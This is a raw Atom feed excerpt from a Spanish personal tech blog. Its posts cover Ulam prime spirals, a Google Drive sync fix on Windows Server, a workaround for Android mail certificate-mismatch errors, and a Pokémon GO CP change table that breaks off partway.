&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
La matriz de 999 x 999 con primos en rojo&lt;br /&gt;
&lt;br /&gt;
Por si quieren descargar las otras espirales, las pongo &lt;a href=&quot;https://sites.google.com/site/zosemu/espirales.zip&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt; porque no me deja subir imágenes tan grandes jeje.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/6294767088511404831/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2017/08/espirales-de-ulam-la-belleza-de-los.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6294767088511404831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6294767088511404831'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2017/08/espirales-de-ulam-la-belleza-de-los.html' title='Espirales de Ulam, la belleza de los números primos.'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE8HribWSa84dTXd5KkIfs48wpOpp2q4ppqe0Z_jXmxQYD0UJzkz2U5_B83XQBuII7MklgMpeAOdBPOY3mURQRU5BCXRwoAv0abDWecZlCR14ffvHMic2E42Ei4uAXicelz7VWvPoomA/s72-c/espiral.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3677985707423281141</id><published>2017-04-18T11:29:00.000-07:00</published><updated>2017-04-18T11:32:03.406-07:00</updated><title type='text'>Problemas con Google Drive en Windows Server</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Recientemente tuve la necesidad de sincronizar ciertos archivos con un servidor de Windows, sin embargo por más que hacia no pasaba del verificando la cuenta, espere...&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Luego de investigar y hacer mil madres, incluidos los cambios de seguridad etc:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://productforums.google.com/forum/#!topic/docs-es/fJeQjLG9rEA&quot;&gt;Foro de Google 1&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://productforums.google.com/forum/#!topic/docs-es/_oxmpj3fbY8&quot;&gt;Foro de Google 2&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Incluso intente clonar la sesión jeje, cosa que logre parcialmente y quizá con un poco más de tiempo habría encontrado un modo completo de hacerlo (nota mental para mi, do it!!!), en fin al final luego de hacer de todo sin resultados, volví a tomar aire y comprobar el log del maldito Google Drive, que se encuentra en la ruta :&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&quot;C:\Users\TU_USUARIO\AppData\Local\Google\Drive\user_default\sync_log.log&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como pensé que el error podría tratarse de algún tipo de nimiedad, decidí mandar a la chingada ese archivo (paso previo hay que cerrar la aplicación), al volver a ejecutar la aplicación me encontré con una ruta muy interesante:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&quot;https://accounts.youtube.com/accounts/CheckConnection?&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Entonces, los señores de Google echan mano del fuking youtube para hacer comprobaciones de seguridad, en fin... eso resolvió el misterio debido a que el firewall bloqueaba por defecto dicho dominio, así que una vez hecho el cambio en el firewall, lo siguiente fue limpiar la cache de DNSs, tirar un ping, por último y no menos importante, en la configuración de Internet, en sitios de confianza agregar:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
https://*.youtube.com&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
https://*.google.com&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
y listo SaluDoS!!!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3677985707423281141/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2017/04/problemas-con-google-drive-en-windows.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3677985707423281141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3677985707423281141'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2017/04/problemas-con-google-drive-en-windows.html' title='Problemas con Google Drive en Windows Server'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3837426880884726191</id><published>2016-12-12T11:36:00.002-08:00</published><updated>2016-12-12T11:36:19.447-08:00</updated><title type='text'>Bypass a la seguridad de cuentas de correo en Android (certificados)</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Con la reciente actualización de Android, las opciones para configurar los certificados de confianza de nuestra cuenta de correo parecen &lt;i&gt;&quot;no existir&quot;&lt;/i&gt;, dejando imposibilitado a un usuario el poder agregar una cuenta de dominio con &lt;i&gt;&quot;ciertos parámetros&lt;/i&gt;&quot;, aunque por una parte esta medida contribuya a mejorar la seguridad de los usuarios, también puede ser un problema para aquellos que contamos con un certificado &lt;i&gt;&quot;válido&quot;&lt;/i&gt; emitido por nosotros mismos, o quienes tienen un servicio de hosting contratado con su dominio propio pero el servicio de correo es a través de un servidor distinto, en cuyo caso aunque el servidor de correo en cuestión, tenga un certificado válido, será válido únicamente para el dominio del servidor de correo, pero no para los subdominios personalizados de otras empresas...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Aunque las buenas practicas deberían incluir nuestro propio certificado de correo, la verdad es que la mayoría de las empresas que conozco difícilmente invierten en tal cosa, por lo que nos resta sólo una opción y esa es usar el ingenio para bypassear la &quot;seguridad&quot; de nuestro dispositivo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Mención a parte es el uso de certificados &quot;falsos&quot; para obtener el control de los correos del servidor de una compañía mediante un redirect, pero no me quiero enrrollar con esa parte...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vamos al ejemplo...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcIoNy0sZbibjZrjWnGdPU0o6D1XSebINm9I7-aHb0dbfX7BR7SBWVimq5Za814qv6T5e4Ey5h3qxF9IEXR-nCWNpFMn19COoaS1jlyueQebt35ineVNqhPLpo4dDOdakRjE1XfuTYFA/s1600/00.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcIoNy0sZbibjZrjWnGdPU0o6D1XSebINm9I7-aHb0dbfX7BR7SBWVimq5Za814qv6T5e4Ey5h3qxF9IEXR-nCWNpFMn19COoaS1jlyueQebt35ineVNqhPLpo4dDOdakRjE1XfuTYFA/s400/00.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLH1IV-00RloAhUqlwMszatnUUHHaMvWaC-nl10q1CvflzEN6klOikr2QdwrSt3yaq3BL_9HosxsadTNM3OeoYbxJ3ND5K5Hr2iKeLHMozmw7JN7iKNFCsvVzlmBzShI2K-r25OqZFfw/s1600/01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLH1IV-00RloAhUqlwMszatnUUHHaMvWaC-nl10q1CvflzEN6klOikr2QdwrSt3yaq3BL_9HosxsadTNM3OeoYbxJ3ND5K5Hr2iKeLHMozmw7JN7iKNFCsvVzlmBzShI2K-r25OqZFfw/s400/01.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiguBolPll7lXR99KjTATgiEZTKLFKS_6QXu1p7T4huaFNhLp7bIIgjA_mDPRXgMU2u0aHvKB9g-O98ixI1DjUJRM-FlrzGx3lqOqDd02xhz44KRncVLgDTiWtkBLgli-SYUC4dlPVO_g/s1600/02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiguBolPll7lXR99KjTATgiEZTKLFKS_6QXu1p7T4huaFNhLp7bIIgjA_mDPRXgMU2u0aHvKB9g-O98ixI1DjUJRM-FlrzGx3lqOqDd02xhz44KRncVLgDTiWtkBLgli-SYUC4dlPVO_g/s400/02.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
hasta aquí todo normal...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq5hqRLEFqhhKBIrgEipU9Ck8mjTsqx-Q5E6CB0gq-DG4zr26aIThrH9Jyjg73PHpc50jm43-ihIwWeDJNpKqr7LyjIRADcfBd5ZKB0CreZFYMfO2SWRfQcTYRZLUV0YkuBmZYxxxb6A/s1600/03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq5hqRLEFqhhKBIrgEipU9Ck8mjTsqx-Q5E6CB0gq-DG4zr26aIThrH9Jyjg73PHpc50jm43-ihIwWeDJNpKqr7LyjIRADcfBd5ZKB0CreZFYMfO2SWRfQcTYRZLUV0YkuBmZYxxxb6A/s400/03.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
aquí ya nos mandó el error para advertirnos que el certificado y el dominio no coinciden y darnos una explicación al respecto (bla bla bla), lo importante de esto es lo siguiente:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0nk3nvjmxGjUnmaIk_e9WXWBwKje6zcvZhnieiDMzE_NM2BuUAoQ0InjCSV-_8VQlF_dmvgEWvhAcCvA5Zpz-vsRs02vYXetW7zoe6KtfIORZpLskj9Sa1kENDnoDl8ekbP-KC4xRQ/s1600/04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0nk3nvjmxGjUnmaIk_e9WXWBwKje6zcvZhnieiDMzE_NM2BuUAoQ0InjCSV-_8VQlF_dmvgEWvhAcCvA5Zpz-vsRs02vYXetW7zoe6KtfIORZpLskj9Sa1kENDnoDl8ekbP-KC4xRQ/s400/04.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
nos muestra el dominio real del servidor de correos, ahora con este dato vamos a inyectar la configuración, asegúrense de usar una contraseña falsa para que nos mande un error y no se registre su contraseña verdadera XD!!!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitk3ghj-pyJX7BFt2WBxAanXYG29HqxSGH7h5UUS7DcOWstH8M5DB4y9Kj_QcIzl4gtQJ8cyh0fU8zmo7bu1BdOU_TaPyrGBNufZ2JdJ8ZY0vdR7nvvBsuNqidHaCANT9y-g6vRlJ0MA/s1600/05.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitk3ghj-pyJX7BFt2WBxAanXYG29HqxSGH7h5UUS7DcOWstH8M5DB4y9Kj_QcIzl4gtQJ8cyh0fU8zmo7bu1BdOU_TaPyrGBNufZ2JdJ8ZY0vdR7nvvBsuNqidHaCANT9y-g6vRlJ0MA/s400/05.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
creo que ya con esto, queda clara la intención de a donde vamos, pero, lo explico un poco, el servidor de correo que tiene este dominio usa un certificado para validar el dominio principal, es decir &lt;i&gt;&quot;*.servwingu.mx&quot;&lt;/i&gt;, aunque cada uno de los servidores de correo use un subdominio; podríamos averiguar a cual de los subdominios está ligado concretamente nuestro dominio y apuntar a ese servidor en particular para realizar la validación, es decir, suponiendo que, nuestro dominio fuera &lt;i&gt;zosemu.com.mx&lt;/i&gt; y se resolviera con la misma IP que &lt;i&gt;mailx1.servwingu.mx, &lt;/i&gt;entonces podría apuntar directamente a este dominio (o IP) para acceder a mis cuentas de correo, pero el asunto es que si el proveedor cambia el DNS, o el servidor en donde se encuentran nuestras cuentas de correo, podríamos quedar sin servicio de correo por un tiempo, al menos en lo que descubrimos cual es la nueva IP y realizamos cambios, para mantener esa coherencia, nuestros queridos proveedores de hosting se encargan de esas resoluciones de dominio usando una ruta del tipo mail.zosemu.com que apunta a la IP donde se encuentra el servidor de correo [que no necesariamente tiene que ser el mismo donde se hospeda su sitio]. Sin embargo &lt;span style=&quot;font-size: x-small;&quot;&gt;(luego de tanto rollo)&lt;/span&gt;, existen dos posibilidades, &lt;b&gt;primera&lt;/b&gt;&amp;nbsp;nuestra cuenta no estará activa en el dominio principal para el cual está firmado el certificado, en otras palabras es un servidor valido que reconoce nuestro dominio, sin embargo no reconocerá el servicio, lo cual &amp;nbsp;provocará un error de autenticación; &lt;b&gt;segunda&lt;/b&gt;&amp;nbsp;aunque el dominio principal sea capaz de autenticarnos, les dije que pusieran un pass fake XD, lo que provocará un error de autenticación, entonces habremos conseguido el cometido principal, provocar un error en un nivel que no interfiera con los niveles de seguridad de Android. En otras palabras nuestro querido Android pensará (&lt;span style=&quot;font-size: x-small;&quot;&gt;y sí, piensa y mucho más que muchos que conozco&lt;/span&gt;) que necesitamos un nivel de configuración adicional y voilà:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwBGhD42oFNfqN9lzJmSEOa1P_JVif1Gs6HoMnAttCVGLiyH7m0MlnnIw28dqm9NUhTjgDiY_9Qj41lZu2OKlRJW1AzZb5D6DWLm2sgtKByyNkrBriwGyOwUUficg23wHtJg1rUIBT9g/s1600/06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwBGhD42oFNfqN9lzJmSEOa1P_JVif1Gs6HoMnAttCVGLiyH7m0MlnnIw28dqm9NUhTjgDiY_9Qj41lZu2OKlRJW1AzZb5D6DWLm2sgtKByyNkrBriwGyOwUUficg23wHtJg1rUIBT9g/s320/06.png&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora ponemos nuestros queridos y amados datos reales y listo...&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
P.D.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Aunque soy el principal promotor de Android, tal parece que cada vez el sistema es más &quot;&lt;i&gt;amigable&lt;/i&gt;&quot; con los riesgos que esto implica, nunca olviden que la comodidad siempre tiene su precio....&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
SaluDoS!!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3837426880884726191/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2016/12/bypass-la-seguridad-de-cuentas-de.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3837426880884726191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3837426880884726191'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2016/12/bypass-la-seguridad-de-cuentas-de.html' title='Bypass a la seguridad de cuentas de correo en Android (certificados)'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcIoNy0sZbibjZrjWnGdPU0o6D1XSebINm9I7-aHb0dbfX7BR7SBWVimq5Za814qv6T5e4Ey5h3qxF9IEXR-nCWNpFMn19COoaS1jlyueQebt35ineVNqhPLpo4dDOdakRjE1XfuTYFA/s72-c/00.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-1894013147992316897</id><published>2016-11-24T06:00:00.000-08:00</published><updated>2016-11-24T07:44:46.611-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pokémon GO"/><category scheme="http://www.blogger.com/atom/ns#" term="puntos de combate máximos"/><category scheme="http://www.blogger.com/atom/ns#" term="tabla de cambios"/><title type='text'>Pokémon GO y la belleza matemática oculta</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Si bien es cierto me inicie en el juego como parte de la novedad y cautivado por los simpáticos monstruos &amp;nbsp;que otrora llenaban los espacios televisivos, y, con los que crecí aprendiendo que lo importante en una liga no es ganar sino rifarse un tiro con cada maestro de gimnasio posible, en otras palabras a ser belicoso de a madres aunque no ganara nada con ello (jeje). Luego de un rato de vagar un rato por mi ciudad atrapando criaturas aquí y allá, comencé a preguntarme sobre los aspectos técnicos del juego, algunas cosas como atrapar ciertos bichos de esos en un cierto lugar y a una cierta hora me dio a pensar que quizá fuera posible la existencia de un algoritmo de distribución de las criaturas, por lo que, sería posible descifrar cuando aparecería otro de cierta especie?&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pronto me vi sumergido en un mundo de matemáticas, desde el simple hecho de calcular una buena parabola para obtener puntos de experiencia adicionales por una bola curva, hasta cosas muy complejas como el cálculo de los IVs e IVPCs (Valores Internos y Valores Internos por Puntos de Combate, respectivamente) de un Pokémon, trazo de vectores para calcular la mejor ruta de una caminata a fin de visitar la mayor cantidad de poképaradas, etc.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Aunque simple en su modo de juego, la realidad es que Niantic ha hecho de la matemática su motor de impulso y lo ha llevado a otro nivel, la inclusión del Machine Learning en sus algoritmos de juego para detectar bots u otras herramientas claramente no permitidas, han hecho que el juego se mantenga coherente para miles de fans en todo el mundo y accesible para aquellos que van iniciando.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La verdadera estrategia de Niantic es sin embargo el cambio, y aquello que permite el cambio rápido es precisamente su fundamento numérico, para ello voy a dar un ejemplo sencillo, en la última actualización de la API, Niantic actualizó la tabla de puntos máximos de cada Pokémon, sin embargo para que no hubiese queja se actualizaron los CP de ca Pokémon capturado, y, aunque a muchos no les hizo gracia pues algunas de las criaturas tuvieron un cambio positivo considerable, otras disminuyeron, pero dicho cambio obedece a la lógica un cambio previo en favor de fomentar la competencia por los gimnasios y las recompensas de los mismos; por otra parte parece lógico que los niveles se ajustaron como un paso previo para futuras actualizaciones, según las cuales se podrá luchar en modo duelo sin necesidad de gimnasios, y la tan esperada liberación de los Pokémones legendarios.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Conozco a muchos que piensan que sólo se trata de un juego más, sin embargo, la cantidad de matemáticas implicadas en cada proceso, desde la mutación de los algoritmos para la distribución pseudoaleatoria de las criaturas, el machine learning usado para detectar comportamientos probables en los jugadores, hasta la determinación del mejor Pokémon a usar en una batalla, demuestran que aquello que lo hace simple, es precisamente la lógica matématica implicita en la base del juego.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sea cual sea el rumbo que tome este juego no podía menos que dedicar una entrada en el blog, pues me parece que la fiebre ya se les pasó a muchos, pero hay juego para un buen rato. Por si alguno tiene dudas de los porcentajes de cambio, les dejo la tabla completa para los fines que mejor convengan.&lt;/div&gt;
&lt;br /&gt;
SaluDoS!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;
&lt;table&gt;
    &lt;thead bgcolor=&quot;#ffffff&quot;&gt;
&lt;tr&gt;
            &lt;th&gt;#&lt;/th&gt;
            &lt;th&gt;Pokemon&lt;/th&gt;
            &lt;th&gt;CP MAX&lt;/th&gt;
            &lt;th&gt;Cambio&lt;/th&gt;
            &lt;th&gt;NVO CP MAX&lt;/th&gt;
            &lt;th&gt;LV&lt;/th&gt;
        &lt;/tr&gt;
&lt;/thead&gt;
    &lt;tbody&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;1&lt;/td&gt;
            &lt;td&gt;Bulbasaur&lt;/td&gt;
            &lt;td&gt;1072&lt;/td&gt;
            &lt;td&gt;-8.39&lt;/td&gt;
            &lt;td&gt;982&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;2&lt;/td&gt;
            &lt;td&gt;Ivysaur&lt;/td&gt;
            &lt;td&gt;1632&lt;/td&gt;
            &lt;td&gt;-4.91&lt;/td&gt;
            &lt;td&gt;1552&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;3&lt;/td&gt;
            &lt;td&gt;Venusaur&lt;/td&gt;
            &lt;td&gt;2580&lt;/td&gt;
            &lt;td&gt;-0.47&lt;/td&gt;
            &lt;td&gt;2568&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;4&lt;/td&gt;
            &lt;td&gt;Charmander&lt;/td&gt;
            &lt;td&gt;955&lt;/td&gt;
            &lt;td&gt;-12.97&lt;/td&gt;
            &lt;td&gt;831&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;5&lt;/td&gt;
            &lt;td&gt;Charmeleon&lt;/td&gt;
            &lt;td&gt;1557&lt;/td&gt;
            &lt;td&gt;-4.72&lt;/td&gt;
